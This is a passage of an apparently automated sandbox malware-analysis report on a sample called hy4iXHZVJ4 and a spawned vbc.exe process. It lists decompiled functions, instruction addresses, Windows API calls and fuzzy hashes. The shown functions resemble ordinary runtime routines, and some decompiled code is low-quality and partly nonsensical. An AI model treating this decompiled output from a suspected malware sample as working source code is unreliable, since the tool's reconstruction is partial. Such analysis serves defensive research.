														_t149 = _t158;
														_t158 = _t158 + 1;
														__eflags = _t158;
													} else {
														_t168[0xff] = 0;
														_t173[6] = _t125;
														_t173[2] = _t168[0x10c];
														_t173[1] = 0xff;
														 *_t173 = _t168;
														_t168[0x108]();
														_t168[0x128] = _t168[0x128] + 1;
														_t158 = 1;
														_t149 = 0;
														_t125 = _t173[6] & 0x000000ff;
													}
													_t137 =  &(_t137[1]);
													_t168[0x100] = _t158;
													_t168[_t149] = _t125;
													_t168[0x104] = _t125;
													__eflags = _t167 - _t137;
												} while (_t167 != _t137);
												_t166 = _t173[7];
												goto L50;
											}
											L21:
											__eflags = _t111 - 0x4c;
											if(__eflags == 0) {
												goto L29;
											}
											if(__eflags > 0) {
												__eflags = _t111 - 0x4e - 1;
												if(_t111 - 0x4e > 1) {
													L24:
													_t121 = L00430EB0(_t168, _t172, _t173[5]);
													_t168[0x110] = _t166;
													return _t121;
												}
												goto L29;
											}
											__eflags = _t111 - 0x1c - 4;
											if(_t111 - 0x1c <= 4) {
												goto L29;
											}
											goto L24;
										}
										_t162 = _t109 + 1;
										__eflags = _t109 - 0xff;
										if(_t109 == 0xff) {
											_t168[0xff] = 0;
											_t173[1] = 0xff;
											_t173[2] = _t168[0x10c];
											 *_t173 = _t168;
											_t168[0x108]();
											_t168[0x128] = _t168[0x128] + 1;
											_t162 = 1;
											_t109 = 0;
											__eflags = 0;
										}
										_t168[0x100] = _t162;
										_t168[_t109] = 0x2e;
										_t168[0x104] = 0x2e;
										goto L20;
									}
									_t100 = L00435840(_t168, _t141, _t173[5]);
									_t168[0x110] = _t166;
									goto L8;
								}
							}
						} else {
							__eflags = _t100 - 0x4c;
							if(__eflags == 0) {
								goto L8;
							} else {
								if(__eflags <= 0) {
									__eflags = _t100 - 0x1c - 4;
									if(_t100 - 0x1c <= 4) {
										goto L8;
									} else {
										goto L4;
									}
								} else {
									__eflags = _t100 - 0x4e - 1;
									if(_t100 - 0x4e > 1) {
										goto L4;
									} else {
										goto L8;
									}
								}
							}
						}
					}
				}
			}

0x00436490
0x00436497
0x0043649b
0x004364a1
0x004365fa
0x004365fa
0x004364a7
0x004364a7
0x004364af
0x004364b3
0x00000000
0x00000000
0x00000000
0x00000000
0x0043651e
0x00000000
0x00436510
0x00436516
0x00436516
0x00000000
0x0043651e
0x0043651e
0x00436521
0x00436523
0x00436506
0x00436506
0x00436508
0x0043650a
0x00000000
0x00000000
0x00000000
0x00000000
0x00436525
0x00436525
0x00436528
0x0043652a
0x0043652c
0x004364c8
0x004364cb
0x004364d1
0x004364d8
0x004364de
0x004364e1
0x00436601
0x00436604
0x00436609
0x0043660e
0x0043661b
0x004364e7
0x004364e7
0x004364ea
0x00436622
0x00436625
0x0043662a
0x0043662f
0x0043663c
0x004364f0
0x004364f0
0x004364f3
0x0043654a
0x00436558
0x00436563
0x00436569
0x0043656e
0x00436652
0x00436656
0x0043665b
0x00436683
0x00436683
0x00436688
0x00436660
0x00436662
0x00436662
0x0043668a
0x00436690
0x00436697
0x0043669f
0x004366a3
0x004366a6
0x004366ac
0x004366b3
0x004366b8
0x004366b8
0x00436665
0x00436668
0x0043666e
0x00436671
0x00436677
0x0043667d
0x00000000
0x00000000
0x0043667f
0x0043667f
0x004366bc
0x004365bf
0x004365c2
0x004365c5
0x004365c8
0x004365cb
0x004366c5
0x004366cb
0x004366d0
0x004366f9
0x004366f9
0x004366fe
0x004366d7
0x004366d9
0x004366d9
0x00436700
0x00436706
0x0043670d
0x00436711
0x00436715
0x0043671d
0x00436720
0x00436726
0x0043672d
0x00436732
0x00436734
0x00436734
0x004366dc
0x004366e2
0x004366e5
0x004366eb
0x004366f1
0x00000000
0x00000000
0x004366f3
0x004366f6
0x004366f6
0x004366f6
0x0043673e
0x00436742
0x0043674a
0x00436750
0x00436754
0x00436759
0x0043675c
0x00436761
0x00436767
0x00436769
0x004367da
0x004367da
0x004367df
0x0043680d
0x0043680d
0x00436813
0x004367e6
0x004367e8
0x004367e8
0x00436815
0x0043681b
0x00436822
0x00436826
0x0043682a
0x00436832
0x00436835
0x0043683b
0x00436842
0x00436847
0x00436849
0x00436849
0x004367eb
0x004367f1
0x004367f4
0x004367f7
0x00436802
0x00436804
0x00000000
0x00000000
0x0043680a
0x0043680a
0x00436645
0x00436645
0x00436648
0x00000000
0x00436648
0x0043676d
0x00436771
0x00436790
0x00436790
0x00436793
0x00436799
0x00436775
0x00436777
0x00436777
0x0043679b
0x004367a1
0x004367a8
0x004367ac
0x004367b0
0x004367b8
0x004367bb
0x004367c1
0x004367c8
0x004367cd
0x004367cf
0x004367cf
0x0043677a
0x0043677d
0x00436783
0x00436786
0x0043678c
0x0043678c
0x004367d6
0x00000000
0x004367d6
0x004365d1
0x004365d1
0x004365d4
0x00000000
0x00000000
0x004365d6
0x00436640
0x00436643
0x004365e0
0x004365e8
0x004365ed
0x00000000
0x004365ed
0x00000000
0x00436643
0x004365db
0x004365de
0x00000000
0x00000000
0x00000000
0x004365de
0x00436574
0x00436577
0x0043657c
0x00436584
0x0043658b
0x00436593
0x00436597
0x0043659a
0x004365a0
0x004365a7
0x004365ac
0x004365ac
0x004365ac
0x004365ae
0x004365b4
0x004365b8
0x00000000
0x004365b8
0x004364fb
0x00436500
0x00000000
0x00436500
0x004364ea
0x0043652e
0x0043652e
0x00436531
0x00000000
0x00436533
0x00436533
0x004364c3
0x004364c6
0x00000000
0x00000000
0x00000000
0x00000000
0x00436535
0x00436538
0x0043653b
0x00000000
0x0043653d
0x00000000
0x0043653d
0x0043653b
0x00436533
0x00436531
0x0043652c
0x00436523

Strings

}::, xrefs: 004367DA
default arg#, xrefs: 004366CB

Memory Dump Source

Source File: 00000000.00000002.325206113.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.325202525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325279647.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325283907.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325305227.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325309531.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325320855.0000000000519000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325724075.0000000000557000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325902856.000000000055A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325908726.000000000055B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hy4iXHZVJ4.jbxd

Similarity

API ID:
String ID: default arg#$}::
API String ID: 0-679881875
Opcode ID: b3ce53deda6d1ee8c0f874ed841dfa0d1f6516c217e796768c4726139ba68312
Instruction ID: 05124df9ed352cbbb722f99dc8c6721c301d4b7409a1337190cc19a014a0cbd1
Opcode Fuzzy Hash: b3ce53deda6d1ee8c0f874ed841dfa0d1f6516c217e796768c4726139ba68312
Instruction Fuzzy Hash: 74B1A170608742DBD725CF28C0843ABBBE1AF99304F15C82EE4D98B345C779E8859B96

Uniqueness

Uniqueness Score: -1.00%

Function 0043D0C0 Relevance: 6.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

IsDBCSLeadByteEx.KERNEL32 ref: 0043D114
MultiByteToWideChar.KERNEL32 ref: 0043D157

Memory Dump Source

Source File: 00000000.00000002.325206113.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.325202525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325279647.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325283907.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325305227.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325309531.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325320855.0000000000519000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325724075.0000000000557000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325902856.000000000055A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325908726.000000000055B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hy4iXHZVJ4.jbxd

Similarity

API ID: Byte$CharLeadMultiWide
String ID:
API String ID: 2561704868-0
Opcode ID: 75b0ffe67c3dea419ba13e841c6b3e58b0722e66438ff13f0d2da07b31c66ba9
Instruction ID: 191ff9524aa5371012b9c535dae96817bce9eed3d2aeda39eb29968795f60a6a
Opcode Fuzzy Hash: 75b0ffe67c3dea419ba13e841c6b3e58b0722e66438ff13f0d2da07b31c66ba9
Instruction Fuzzy Hash: 124117749093418FDB10DF68E88421BBBE0BF89314F14895EF89587390D77AD949CB47

Uniqueness

Uniqueness Score: -1.00%

Function 0043B4F1 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

abort.MSVCRT(0043AF3B), ref: 004C5E98
abort.MSVCRT(?,?,00000000,?,00000000,74714D40,0043CC69), ref: 004C5EA0
abort.MSVCRT(?,?,00000000,?,00000000,74714D40,0043CC69), ref: 004C5EA5
abort.MSVCRT(?,?,00000000,?,00000000,74714D40,0043CC69), ref: 004C5EAA

Memory Dump Source

Source File: 00000000.00000002.325206113.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.325202525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325279647.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325283907.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325305227.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325309531.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325320855.0000000000519000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325724075.0000000000557000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325902856.000000000055A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325908726.000000000055B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hy4iXHZVJ4.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 2134c644c00a186946854ac80338984a1f0939390a44ac439e4c89f12767343f
Instruction ID: 7c5774065a6d046648401cadf11d3fe377582555c86071ca1958abb9c4db5d55
Opcode Fuzzy Hash: 2134c644c00a186946854ac80338984a1f0939390a44ac439e4c89f12767343f
Instruction Fuzzy Hash: 2A212B327096248FD700CF59E8817A573A2EBC5318F1D857EEA488B306C339A80697A5

Uniqueness

Uniqueness Score: -1.00%

Function 0043E550 Relevance: 6.1, APIs: 4, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E0043E550(signed int __eax, signed int __edx, signed int _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed int _t21;
				signed int _t22;
				signed int _t27;
				signed int _t28;
				intOrPtr _t29;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int* _t32;

				_t28 = __edx;
				_t17 = __eax;
				_t27 = _a4;
				_t30 = _a8;
				_t29 = _a12;
				_t31 = _a16;
				L00447710();
				 *((intOrPtr*)(__eax)) = 0;
				if(_t27 == 0 || _t31 > 2) {
					L00447710();
					 *_t17 = 0x16;
					return 0xffffffff;
				} else {
					 *(_t27 + 0xc) =  *(_t27 + 0xc) & 0xffffffef;
					if(_t31 == 1) {
						 *_t32 = _t27;
						_t30 = _t30 + E0043E230(__eax, __edx);
						asm("adc edi, edx");
						_t31 = 0;
					}
					 *_t32 = _t27;
					E0043E0F0();
					_t21 =  *(_t27 + 0xc);
					if((_t21 & 0x00000080) == 0) {
						_t22 = _t21 & 0x00000409;
						if(_t22 == 9) {
							 *((intOrPtr*)(_t27 + 0x18)) = 0x200;
						}
					} else {
						_t22 = _t21 & 0xfffffffc;
						 *(_t27 + 0xc) = _t22;
					}
					 *_t32 = _t27;
					L004476F8();
					_v32 = _t31;
					_v40 = _t30;
					_v36 = _t29;
					 *_t32 = _t22;
					L004476E0();
					return  ~((_t22 & _t28 & 0xffffff00 | (_t22 & _t28) == 0xffffffff) & 0x000000ff);
				}
			}

0x0043e550
0x0043e550
0x0043e557
0x0043e55b
0x0043e55f
0x0043e563
0x0043e567
0x0043e56e
0x0043e574
0x0043e5f3
0x0043e5f8
0x00000000
0x0043e57b
0x0043e57b
0x0043e582
0x0043e5e3
0x0043e5eb
0x0043e5ed
0x0043e5ef
0x0043e5ef
0x0043e584
0x0043e587
0x0043e58c
0x0043e591
0x0043e5d0
0x0043e5d8
0x0043e5da
0x0043e5da
0x0043e593
0x0043e593
0x0043e596
0x0043e596
0x0043e599
0x0043e59c
0x0043e5a1
0x0043e5a5
0x0043e5a9
0x0043e5ad
0x0043e5b0
0x00000000
0x0043e5c0

APIs

_errno.MSVCRT ref: 0043E567
_fileno.MSVCRT ref: 0043E59C
_lseeki64.MSVCRT ref: 0043E5B0
_errno.MSVCRT ref: 0043E5F3

Memory Dump Source

Source File: 00000000.00000002.325206113.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.325202525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325279647.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325283907.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325305227.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325309531.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325320855.0000000000519000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325724075.0000000000557000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325902856.000000000055A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325908726.000000000055B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hy4iXHZVJ4.jbxd

Similarity

API ID: _errno$_fileno_lseeki64
String ID:
API String ID: 2364285915-0
Opcode ID: 5d07bb960ab374f54fc4ff8c7eb64e4319677026b8f42e00d6abcec38b3c108d
Instruction ID: 89579f481f3a49ced70f58fbf5adcf7a251028eae4c6fbe7070da2b77cd01364
Opcode Fuzzy Hash: 5d07bb960ab374f54fc4ff8c7eb64e4319677026b8f42e00d6abcec38b3c108d
Instruction Fuzzy Hash: 0E11D0B14097109FD7106FABC88022ABBA0AB45378F449E1FF4648B3D2E33C98428B56

Uniqueness

Uniqueness Score: -1.00%

Function 0043D2A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

___lc_codepage_func.MSVCRT ref: 0043D2C5
___mb_cur_max_func.MSVCRT ref: 0043D2CE

Part of subcall function 0043D0C0: IsDBCSLeadByteEx.KERNEL32 ref: 0043D114
Part of subcall function 0043D0C0: MultiByteToWideChar.KERNEL32 ref: 0043D157

Strings

0dU, xrefs: 0043D2A2

Memory Dump Source

Source File: 00000000.00000002.325206113.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.325202525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325279647.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325283907.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325305227.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325309531.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325320855.0000000000519000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325724075.0000000000557000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325902856.000000000055A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325908726.000000000055B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hy4iXHZVJ4.jbxd

Similarity

API ID: Byte$CharLeadMultiWide___lc_codepage_func___mb_cur_max_func
String ID: 0dU
API String ID: 2785433807-3250206554
Opcode ID: d4c330cb80fd1bf24d4de750ab22f08d9d04da8919754a0f4aecf6e4045c848d
Instruction ID: 8dc93d206a1fa0ed84834ad5c7ae4735acc91b821f2adb64ecfc2a96dcd544df
Opcode Fuzzy Hash: d4c330cb80fd1bf24d4de750ab22f08d9d04da8919754a0f4aecf6e4045c848d
Instruction Fuzzy Hash: 6731E4B5A093019FD7049F6AE88061BBBE5BFC8754F08892EE899D7300E374DD00CB86

Uniqueness

Uniqueness Score: -1.00%

Function 0043D240 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

___mb_cur_max_func.MSVCRT ref: 0043D25E
___lc_codepage_func.MSVCRT ref: 0043D265

Part of subcall function 0043D0C0: IsDBCSLeadByteEx.KERNEL32 ref: 0043D114
Part of subcall function 0043D0C0: MultiByteToWideChar.KERNEL32 ref: 0043D157

Strings

4dU, xrefs: 0043D274

Memory Dump Source

Source File: 00000000.00000002.325206113.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.325202525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325279647.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325283907.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325305227.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325309531.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325320855.0000000000519000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325724075.0000000000557000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325902856.000000000055A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325908726.000000000055B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hy4iXHZVJ4.jbxd

Similarity

API ID: Byte$CharLeadMultiWide___lc_codepage_func___mb_cur_max_func
String ID: 4dU
API String ID: 2785433807-3333660550
Opcode ID: e9ad7e77e38ef28425d4b95367d806e4cbeb89d767f35d6f0ebaa5c421329c38
Instruction ID: 25ea7d0223606fbd9aceda391938493e8c07c0d32acd1221d083237720fad802
Opcode Fuzzy Hash: e9ad7e77e38ef28425d4b95367d806e4cbeb89d767f35d6f0ebaa5c421329c38
Instruction Fuzzy Hash: 1DF0F475A193548F9700EF69D08150BBBE4AEC9A04F404D2EF898D7311E334D9058B86

Uniqueness

Uniqueness Score: -1.00%

Function 0043D3B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

___mb_cur_max_func.MSVCRT ref: 0043D3C0
___lc_codepage_func.MSVCRT ref: 0043D3C7

Part of subcall function 0043D0C0: IsDBCSLeadByteEx.KERNEL32 ref: 0043D114
Part of subcall function 0043D0C0: MultiByteToWideChar.KERNEL32 ref: 0043D157

Strings

,dU, xrefs: 0043D3D6

Memory Dump Source

Source File: 00000000.00000002.325206113.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.325202525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325279647.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325283907.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325305227.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325309531.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325320855.0000000000519000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325724075.0000000000557000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325902856.000000000055A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325908726.000000000055B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hy4iXHZVJ4.jbxd

Similarity

API ID: Byte$CharLeadMultiWide___lc_codepage_func___mb_cur_max_func
String ID: ,dU
API String ID: 2785433807-3565579598
Opcode ID: 3df699df72a4d4f33d49d9873395ab42e40e6aa2bf064bdd60534f8bd9ea611c
Instruction ID: d6f88ad509c2144d86d7989033d935edaf69094bb8f65c0b9fa3b6a26683a3fa
Opcode Fuzzy Hash: 3df699df72a4d4f33d49d9873395ab42e40e6aa2bf064bdd60534f8bd9ea611c
Instruction Fuzzy Hash: 73F0F2B5A093409B8B00EF7AE08140BFBE4BF88618F408D2EF888C7311E335D905CB86

Uniqueness

Uniqueness Score: -1.00%

Function 004465F0 Relevance: 5.1, APIs: 4, Instructions: 55sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,00000000,004467E9), ref: 00446617
EnterCriticalSection.KERNEL32(?,?,?,00000000,004467E9), ref: 00446648

Memory Dump Source

Source File: 00000000.00000002.325206113.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.325202525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325279647.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325283907.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325305227.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325309531.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325320855.0000000000519000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325724075.0000000000557000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325902856.000000000055A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325908726.000000000055B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hy4iXHZVJ4.jbxd

Similarity

API ID: CriticalEnterSectionSleep
String ID:
API String ID: 3080175056-0
Opcode ID: 09cb13e5450f7ce733674cf957f7d126f919d8a2f37029581df6d73ee8298b0f
Instruction ID: 6578e7ad7f3bb665f4610f08a4dee660f73ff49d7a48fd931e5c4ab7b3351f48
Opcode Fuzzy Hash: 09cb13e5450f7ce733674cf957f7d126f919d8a2f37029581df6d73ee8298b0f
Instruction Fuzzy Hash: 0C1182B06042408BEB60BB3CB99915A7BF4FB55305F97082BD446C3324DB39D8C9DA57

Uniqueness

Uniqueness Score: -1.00%

Function 004380C0 Relevance: 5.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00438327,?,?,?,?,?,00437988), ref: 004380CE
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00438327,?,?,?,?,?,00437988), ref: 004380F5
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00438327,?,?,?,?,?,00437988), ref: 004380FC
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,00438327,?,?,?,?,?,00437988), ref: 0043811C

Memory Dump Source

Source File: 00000000.00000002.325206113.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.325202525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325279647.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325283907.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325305227.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325309531.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325320855.0000000000519000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325724075.0000000000557000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325902856.000000000055A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325908726.000000000055B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hy4iXHZVJ4.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: 5dfd04a43e80285e35109dfe97c776a0c5c31fb818b24d8a702391052bb70c04
Instruction ID: 2ad813c1e1bd37ee85a6109966d6d7af8930cbd3964d1531534fb5ab33e813cb
Opcode Fuzzy Hash: 5dfd04a43e80285e35109dfe97c776a0c5c31fb818b24d8a702391052bb70c04
Instruction Fuzzy Hash: BDF0A4B55043188BCB207F69EC9451BBBB4FA58341F06046DED4447305EB34E80DCBA6

Uniqueness

Uniqueness Score: -1.00%

Function 0043762E Relevance: 5.0, APIs: 4, Instructions: 30
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0043762E(intOrPtr* __eax, void* __ebx, void* __edi, void* __esi, void* _a4, void* _a8, void* _a72) {
				void* _t17;

				_t17 = __esi;
				es =  *__eax;
				 *__eax =  *__eax + __eax;
			}

0x0043762e
0x0043762e
0x00437630

APIs

strlen.MSVCRT ref: 00437635
memcpy.MSVCRT ref: 00437650
free.MSVCRT ref: 0043765A
free.MSVCRT ref: 004376B3

Memory Dump Source

Source File: 00000000.00000002.325206113.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.325202525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325279647.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325283907.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325305227.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325309531.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325320855.0000000000519000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325724075.0000000000557000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325902856.000000000055A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325908726.000000000055B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hy4iXHZVJ4.jbxd

Similarity

API ID: free$memcpystrlen
String ID:
API String ID: 4283329877-0
Opcode ID: 51b3cf47980ac01b5e028b6f79d30d41d22f00adca0fdf431c733278d55ff9f9
Instruction ID: aad3a4d87fee54b86b4a24d526d6162291687ec8a1e66cb76ba38f5ce5ec8f7d
Opcode Fuzzy Hash: 51b3cf47980ac01b5e028b6f79d30d41d22f00adca0fdf431c733278d55ff9f9
Instruction Fuzzy Hash: 0BF0FEB250DB018FD311AF2AE48112DFBE1EF95325F161C5FE4C88B712D73988819B46

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: vbc.exePID: 104032, Parent PID: 6084COMMON

Executed Functions

Function 0097F100 Relevance: 9.5, Strings: 7, Instructions: 752COMMON

Download Yara Rule

Strings

Yx, xrefs: 0097FC65
Yx, xrefs: 0097FD23
Yx, xrefs: 0097FE52
Yx, xrefs: 0097FBA7
Yx, xrefs: 0097FDDF
Yx, xrefs: 0097FAD6
Yx, xrefs: 0097FED4

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID: Yx$Yx$Yx$Yx$Yx$Yx$Yx
API String ID: 0-883941071
Opcode ID: 731c4edddcbd4745fdd80a8b6022ce45b4debf71f585332de1182f8457458f47
Instruction ID: 0b461835a2c7b6f1c521f2fb0fcca80cc33b533ec2e7fa2b4c89a51ea8cc5462
Opcode Fuzzy Hash: 731c4edddcbd4745fdd80a8b6022ce45b4debf71f585332de1182f8457458f47
Instruction Fuzzy Hash: B9620B35B04219CFCB14DF64D898BADB7B2EF88301F1484A9E50AAB3A1DB749D81DF51

Uniqueness

Uniqueness Score: -1.00%

Function 00975348 Relevance: 12.7, Strings: 10, Instructions: 201COMMON

Download Yara Rule

Strings

